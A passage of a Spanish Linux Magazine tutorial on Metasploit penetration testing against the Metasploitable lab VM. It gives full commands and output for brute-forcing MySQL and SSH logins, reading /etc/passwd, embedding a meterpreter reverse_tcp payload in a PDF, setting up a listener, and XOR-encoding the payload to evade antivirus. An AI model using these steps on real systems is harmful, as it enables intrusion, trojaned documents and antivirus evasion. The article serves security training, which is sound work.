metasploit sql pdf
TRANSCRIPT
PORTADA • Metasploit
16 Número 69 W W W . L I N U X - M A G A Z I N E . E S
El framework Metasploit [1] es
una popular herramienta para los
especialistas en prevención de
intrusiones. Metasploit nos permite des-
plegar sistemáticamente muchas de las
técnicas de ataque usadas por intrusos
veteranos. Las pruebas de intrusión de
Metasploit son capaces de identificar
incontables problemas de seguridad que
podrían hacer vulnerables nuestras
redes.
De acuerdo con el sitio web del pro-
yecto, Metasploit es “…tanto un sistema
de pruebas de intrusión como una plata-
forma de desarrollo para la creación de
herramientas de seguridad y exploits.”
El framework incluye una serie de
módulos. Cada módulo implementa un
ataque específico. A medida que van
apareciendo nuevos ataques, se van
añadiendo los correspondientes módu-
los al framework, manteniéndose de
este modo el sistema actualizado con los
últimos exploits y técnicas de ataque.
Según el equipo de Metasploit, “La
función básica del framework es un ini-
ciador de módulos que permite al usua-
rio configurar el módulo de exploit e ini-
ciarlo contra un sistema objetivo. Si el
exploit tiene éxito, se ejecuta el payload
en el objetivo, proporcionando al usua-
rio un terminal para que pueda interac-
tuar con el payload. Cientos de exploits
y docenas de payloads están disponi-
bles.”
Como veremos en este artículo, la
última versión de Metasploit incluye
módulos para la comisión de ataques de
fuerza bruta sobre SSH, MySQL y Telnet,
así como la capacidad de inyectar archi-
vos ejecutables en el formato PDF de
Adobe de modo que los sistemas Win-
dows lo ejecuten secretamente en
segundo plano.
Genuinamente InseguroEl proyecto Metasploit mantiene una
imagen de servidor virtual VMware
conocida como Metasploitable. La ima-
gen Metasploitable, basada en Ubuntu,
contiene más agujeros de seguridad que
un queso suizo y supone el candidato
perfecto para aquellos administradores
que quieran practicar un poco con
Metasploit como herramienta de prue-
bas de intrusión. Para obtener más infor-
mación sobre cómo instalar y configurar
Metasploitable consulte el sitio web de
Metasploit [2].
El servidor Metasploitable imple-
menta deliberadamente servicios con
configuraciones inseguras y vulnerabili-
dades que lo convierten en el candidato
ideal para las
sesiones de entre-
namiento en segu-
ridad TI. Antes de
probar Metasploi-
table conviene
actualizar el fra-
mework cliente a
la versión 3.4, y
hacerlo antes
incluso aunque se
usen las imágenes
del DVD; basta
con hacer svn
update desde el
directorio del pro-
yecto.
Antes de arran-
car Metasploitable,
conviene anotar la
dirección MAC a
fin de identificar más
rápidamente el servidor vul-
nerable. Con el comando nmap -sP red
se obtiene la correspondiente dirección
IP, que a partir de ahora será
192.168.0.189 para los ejemplos de este
artículo.
Una vez configurado y ejecutándose el
servidor Metasploitable, se puede usar
Nmap para identificar los puertos abier-
tos (Listado 1).
PRUEBA DE HACKEl framework de pruebas de intrusión Metasploit propor-
ciona todas las herramientas necesarias para cualquier
intruso y nos ayuda a encontrar problemas en las defensas
de nuestras redes.
POR HANS-PETER MERKEL Y MARKUS FEILNER
Pruebas de intrusión y manipulación de PDFs con Metasploit
# nmap 192.168.0.189
Starting Nmap 5.00 ( http://nmap.org ) at \
2010-06-12 11:52 CEST
Interesting ports on 192.168.0.189:
Not shown: 988 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
5432/tcp open postgresql
8009/tcp open ajp13
8180/tcp open unknown
MAC Address: 08:00:27:80:7A:46 (Cadmus Computer Systems)
Listado 1: Buscando Puertos Abiertos
Como se puede apreciar en el Listado
1, el scan inicial del servidor Meta -
sploitable muestra varios puertos abier-
tos. El siguiente paso consiste en arran-
car un sistema Metasploit cliente y bus-
car los módulos adecuados para atacar
los puertos abiertos revelados por Nmap.
Metasploit proporciona varias opciones a
través de su interfaz de usuario. La
forma más sencilla de interactuar con
Metasploit es arrancando la interfaz de
usuario msfconsole. Como se puede ver
en el Listado 2, el comando search login
muestra una lista con los módulos que
están relacionados con la cadena login.
El servicio de MySQL es una oportuni-
dad interesante para el primer ejemplo.
En direcciones IP de la LAN no suele
estar abierto el puerto 3306, puesto que
los administradores responsables suelen
asociar el servidor de bases de datos a
localhost solamente. Pero este tipo de
información es el primer signo para un
atacante en busca de una configuración
vulnerable.
El comando use de la consola de
Metasploit arranca un exploit utilizando
un módulo de Metasploit. En el Listado
3, el módulo scanner/mysql/mysql_login
lanza un ataque de diccionario sobre el
host 192.168.0.189 utilizando el archivo
de diccionario /tmp/diccionario. Como
se puede apreciar, el comando tiene
como resultado el acceso al sistema ges-
tor de bases de datos.
Con el comando
mysql -h U
192.168.0.189 U
-u root -p
se comprueba entonces
la información de login
directamente en la base de
datos MySQL. Al introducir la
clave, comienza con MySQL. El
comando
select load_file U
(‘/etc/passwd’)
presenta el contenido del archivo
passwd. En el Listado 4 se muestra
cómo identificar todos los usuarios del
sistema mediante esta técnica
El Listado 4 revela tres cuentas de
usuario: msfadmin, user y service.
msfadmin probablemente la creó el ser-
vidor, según indica su UID, que es 1000.
Esto convierte a la cuenta del usuario
msfadmin en el candidato ideal para un
ataque de fuerza bruta contra SSH:
use scanner/ssh/ssh_login
show options
set RHOSTS 192.168.0.189
set PASS_FILE /tmp/diccionario
set USERNAME msfadmin
exploit
Metasploit • PORTADA
17Número 69W W W . L I N U X - M A G A Z I N E . E S
./msfconsole
search login
(...)
scanner/ftp/ftp_login normal FTP Authentication
Scanner
scanner/mysql/mysql_login normal MySQL Login Utility
scanner/postgres/postgres_login normal PostgreSQL Login Utility
(...)
scanner/smb/smb_login normal SMB Login Check Scanner
scanner/ssh/ssh_login normal SSH Login Check Scanner
scanner/ssh/ssh_login_pubkey normal SSH Public Key Login Scanner
scanner/telnet/telnet_login normal Telnet Login Check Scanner
Listado 2: msfconsole
Figura 1: La salida del exploit devuelve la información que recibe, incluido el nombre del
archivo ejecutable y del PDF en el que se introduce.
PORTADA • Metasploit
18 Número 69 W W W . L I N U X - M A G A Z I N E . E S
La puerta trasera descubierta en este
caso fue la vulnerabilidad launch. Existe
una prueba de concepto (PoC) disponi-
ble en línea [3]; el único remedio ante
este ataque es un laborioso y entrete-
nido paseo por el registro de Windows
para hackear sus valores.
Comenzaremos con un ejemplo que
hace uso de la inocua calculadora de
Windows, calc.exe, para simular el
código malicioso. Un eventual atacante
sólo habrá de sustituir este binario de
Windows por su propio
troyano de Metasploit.
Si no puede identificarse la clave con el
diccionario utilizado, podemos inten-
tar comprometer otras cuentas pri-
mero: el siguiente ataque fija como
objetivo el UID 1001 para la cuenta del
usuario user. En el módulo de exploit,
basta con cambiar msfadmin por user,
mostrándose la clave de user (Listado
5).
Metasploit inicia por sí solo una
sesión, pero también será posible ingre-
sar por SSH manualmente.
ssh user:@192.168.0.189
Este login tiene el UID 1001, no es la
cuenta de root, pero el intruso está
ahora en posición de desplegar varias
estrategias con las que escalar privile-
gios.
Exploits para PDFMetasploit es capaz de hacer mucho
más que simples ataques de fuerza
bruta. Por ejemplo, un exploit reciente
hacía uso de la función util.printf de
Adobe Reader para depositar código
Javascript malicioso en los PCs con
Windows. En la versión 9 de Adobe Rea-
der se ha parcheado el fallo, pero los
atacantes no han estado de brazos cru-
zados durante todo ese tiempo. Como
suele ocurrir, Metasploit es más rápido
que el parche del fabricante. Por ejem-
plo, el reciente exploit
adobe_pdf_embedded_exe muestra
cómo la comunidad de software libre
responde más rápidamente que los ven-
dedores de software privativo.
Para ello, basta con extraer el payload
reverse_tcp del framework en forma de
ejecutable de Windows, añadir la direc-
ción IP del sistema atacante y enviar a la
víctima lo que parece ser un archivo
PDF legítimo.
La idea no es nueva; otros exploits
más antiguos hicieron uso de tácticas
similares para hackear la red del Dalai
Lama o para atacar máquinas guberna-
mentales con el conocido troyano Ghos-
tnet. El troyano Zeus también utiliza
este método, y no nos estamos refi-
riendo al rey de los dioses, sino al
Figura 2: Al abrir el PDF creado con Metasploit, la calculadora de Windows aparece misterio-
samente.
use scanner/mysql/mysql_login
show options
set RHOSTS 192.168.0.189
set PASS_FILE /tmp/diccionario
set USERNAME root
exploit
(...)
[*] 192.168.0.189:3306 Trying username:\
‘root’ with password:’roosting’
[*] 192.168.0.189:3306 failed to login as \
‘root’ with password ‘roosting’
(...)
[*] 192.168.0.189:3306 Trying username:\
‘root’ with password:’root’
[+] 192.168.0.189:3306 - SUCCESSFUL LOGIN \
‘root’ : ‘root’
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Listado 3: Atacando MySQL
select load_file(‘/etc/passwd’);
(...)
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrador...
:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
Listado 4: Contenido del Archivo passwd
potente exploit para Windows conocido
como “El Rey del Crimen” [4].
Introduciendo el comando
use exploit/windows/ U
fileformat/U
adobe_pdf_embedded_exe
desde la consola msfconsole iniciamos
este ataque PDF. El comando show
options muestra un listado de paráme-
tros para el ataque (Tabla 1). Los pará-
metros necesarios para este ataque
son:
Metasploit • PORTADA
19Número 69W W W . L I N U X - M A G A Z I N E . E S
• EXENAME: En esta prueba inicial no
usaremos ningún troyano, sino
calc.exe. El código binario que se
incluirá en el PDF.
• FILENAME: El nombre del documento
infectado, que en este ejemplo será
tibet.pdf.
• INFILENAME: Es el nombre del docu-
mento limpio, en este caso test.pdf;
puede ser cualquier PDF, creado con
Open Office por ejemplo.
• OUTPUTPATH: El directorio donde se
guardará el archivo tibet.pdf y que en
nuestro ejemplo es /tmp.
Figura 3: La puerta trasera para Windows ya está colocada en el PDF. Al abrir el documento
con Adobe Reader se abre la sesión.
Figura 4: El ataque no es del todo sigiloso. Al abrir el PDF, Adobe Reader primero guarda un
archivo y luego quiere cerrarse; muchos usuarios hacen caso omiso de esta primera petición.
Desde la ventana de msfconsole, el ata-
cante ha de seleccionar e inicializar
ahora el exploit
adobe_pdf_embedded_exe del siguiente
modo:
use exploit/windows/U
fileformat/adobe_pdf_\
embedded_exe
set EXENAME /tmp/calc.exe
set FILENAME tibet.pdf
set INFILENAME /tmp/test.pdf
set OUTPUTPATH /tmp
set PAYLOAD windows/U
meterpreter/bind_tcp
show options muestra entonces los datos
de entrada (Figura 1); un último
comando, exploit, crea luego un PDF
que iniciará la calculadora (Figura 2).
Creando Nuestra PropiaPuerta TraseraEn el siguiente ejemplo creamos una
puerta trasera en el documento PDF que
establecerá una conexión con el ata-
cante. Para que sea posible, hay que
escribir algo de código malicioso. Un
escenario típico es una conexión TCP
inversa que abre automáticamente una
conexión entre víctima y atacante. Los
programadores deben introducir su
dirección IP y número de puerto en el
código shell. No hace falta que el código
esté escrito en C o en ensamblador; la
herramienta incluye una ingente canti-
PORTADA • Metasploit
20 Número 69 W W W . L I N U X - M A G A Z I N E . E S
dad de payloads que el atacante sólo
tiene que sacar del framework.
Dado que la plataforma objetivo es
sólo Windows, hay que exportar el
código malicioso a formato binario .exe.
Llamaremos al archivo ejecutable por
ejemplo reverse.exe; Metasploit lo
genera a partir del payload
meterpreter/reverse_tcp:
/pentest/exploits/framework3/U
msfpayload \
windows/meterpreter/U
reverse_tcp LHOST=\
192.168.0.2 X > reverse.exe
Los ingredientes, reverse.exe y test.pdf,
están preparados. Metasploit los com-
bina ahora para elaborar el documento
PDF infectado, tibet.pdf (Figura 3).
Podemos ignorar el mensaje que dice
No session completed; la sesión no se
creará mientras no se abra el docu-
mento. En este
ejemplo, el usuario copia el documento
a la máquina objetivo, una máquina con
Windows XP SP3 y Adobe Reader. El PC
atacante debe poner un listener en el
puerto 4444, que es el predeterminado;
para ello se puede usar una conexión
Netcat. Una vez más, Metasploit ofrece
una forma más elegante basada en Mul-
tihandler, que está disponible a través
de la consola msfconsole de Metasploit o
a través de la interfaz alternativa de
línea de comandos msfcli, que se suele
usar para scripting (Listado 6).
El listener ya está listo y queda a la
espera de que se abra el documento. En el
PC con Windows, pide que se cierre el
documento una vez abierto, lo que puede
resultar confuso, aunque la mayoría de
los usuarios de Windows suele hacer caso
omiso a este tipo de peticiones (Figura 4).
ConcienciaciónLos usuarios más experimentados debe-
rían mostrarse escépticos al encontrarse
[*] 192.168.0.189:22 - SSH - Trying: \ username: \
‘user’ with password: ‘useless’
[-] 192.168.0.189:22 - SSH - Failed: \ ‘user’:’useless’
(...)
[*] 192.168.0.189:22 - SSH - Trying: \ username: \
‘user’ with password: ‘user’
[*] Command shell session 1 opened \
(192.168.0.2:41714 -> 192.168.0.189:22)\
at Sat Jun 12 13:18:15 +0200 2010
Listado 5: La Cuenta del Usuario user
# /pentest/exploits/framework3/msfcli exploit\
/multi/handler PAYLOAD=windows/meterpreter/\
reverse_tcp LHOST=192.168.0.2 LPORT=4444 E
[*] Please wait while we load the module \
tree...
[*] Started reverse handler on \
192.168.0.2:4444
[*] Starting the payload handler...
Listado 6: Multihandler
Usage: ./msfencode <options>
OPTIONS:
-a <opt> The architecture to encode as
-b <opt> The list of characters to avoid: ‘\x00\xff’
-c <opt> The number of times to encode the data
-e <opt> The encoder to use
-h Help banner
-i <opt> Encode the contents of the supplied file path
-k Keep template working; run payload in new
thread (use with -x)
-l List available encoders
-m <opt> Specifies an additional module search path
-n Dump encoder information
-o <opt> The output file
-p <opt> The platform to encode for
-s <opt> The maximum size of the encoded data
-t <opt> The format to display the encoded buffer with
(c, elf, exe, java, js_le, js_be, perl, raw,
ruby, vba, vbs, loop-vbs, asp, war, macho)
-x <opt> Specify an alternate win32 executable template
Listado 7: Salida de msfencode -h
Figura 5: Multihandler ha establecido una conexión con la máquina Windows comprometida.
con un aviso que indica posibles com-
portamientos sospechosos por parte de
un programa o servicio. Incluso aunque
el atacante consiga editar estos mensa-
jes para que parezcan más inofensivos,
probablemente la mejor arma contra
una puerta trasera que se ejecuta con
tan sólo hacer clic en Open sea una
buena concienciación general en mate-
ria de seguridad por parte del personal
(Figura 5).
Una llamada a Netstat en cualquiera
de las dos máquinas nos confirma que la
conexión está establecida. El proceso
debería ser interrumpido por el escaneo
de un antivirus en el PC con Windows.
Otras herramientas, como el sitio web
Virustotal [5], proporcionan escáneres
que esperan a que se cargue el código de
shell para indagar en los resultados. En
nuestro laboratorio, un total de 23 escá-
neres antivirus identificaron el payload
reverse.exe de la instalación predetermi-
nada de Metas-
ploit. Parece que
la mayoría de los
fabricantes de
antivirus han
hecho los deberes
en este sentido;
tan sólo un par de
meses atrás, la
probabilidad de
detección era
mucho menor.
Los atacantes,
como contrame-
dida, pasan el
código de shell a
través de un codi-
ficador XOR para
ocultarlo. Una vez
más, Metasploit cuenta con un módulo
para realizar esta tarea en forma de
msfencode. El comando msfencode -h
muestra un resumen de todas las opcio-
nes disponibles (Listado 7), mientras
que -l enumera los codificadores dispo-
nibles (Listado 8). Después de usar
msfencode, la cantidad de detecciones se
redujo a 15.
Que la Fiesta ContinúeSólo porque un escáner antivirus
encuentre el código de Metasploit, no
hay que creer que los sistemas Windows
son seguros. El nuevo código binario
codificado con XOR mediante Metasploit
ya es suficiente para burlar al software
antivirus. Es la historia de siempre del
gato y el ratón, donde el ratón son los
atacantes y los fabricantes de software
de seguridad son el gato. �
Metasploit • PORTADA
21Número 69W W W . L I N U X - M A G A Z I N E . E S
[1] Metasploit: http:// www. metasploit.
com
[2] Metasploitable: http:// blog.
metasploit. com/ 2010/ 05/
introducing-metasploitable. html
[3] Prueba de concepto para el Bug
launch: http:// blog. fortinet. com/
0day-or-not-today-exploit-in-the-wild
[4] Troyano Zeus: http:// en. wikipedia. org/
wiki/ Zeus_%28trojan_horse%29
[5] Virustotal: http:// www. virustotal. com/
de
RECURSOS
Hans-Peter Merkel es miembro de
la comunidad de Software Libre
desde hace muchos años. Se ha
dedicado principalmente al análi-
sis forense. Ha impartido cursos a
las fuerzas del orden en Alemania
y Tanzania, y es fundador y miem-
bro de FreiOSS y Linux4Afrika.
EL A
UT
OR
Parámetro Función
EXENAME Nombre de fichero del Payload (.exe)
FILENAME Nombre de fichero de salida (.pdf)
INFILENAME Nombre de fichero de entrada (.pdf)
LAUNCH_MESSAGE Le dice a Windows que muestre el diálogo
de ficheros (predterminado: test)
OUTPUTPATH Ruta de salida para el documento PDF infectado
(preterminado: ./data/exploits/)
ContextinformationFile Fichero de información del contexto
DisablePayloadHandler Deshabilitar el código handler para el payload
seleccionado
EnableContextEncoding Utilizar contexto transiente cuando se codifican
payloads
WORKSPACE Espacio de trabajo para el módulo selecionado
WfsDelay Tiempo de espera para la conexión
Tabla 1: adobe_pdf_embedded_exe
Framework Encoders
==================
Name Rank Description
---- ---- -----------
cmd/generic_sh good Generic Shell Variable Substitution
Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command
Encoder
generic/none normal The “none” Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 normal PHP Base64 encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase
Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase
Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword
XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback
Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback
Ecoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode
Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode
Uppercase Encoder
Listado 8: msfencode -l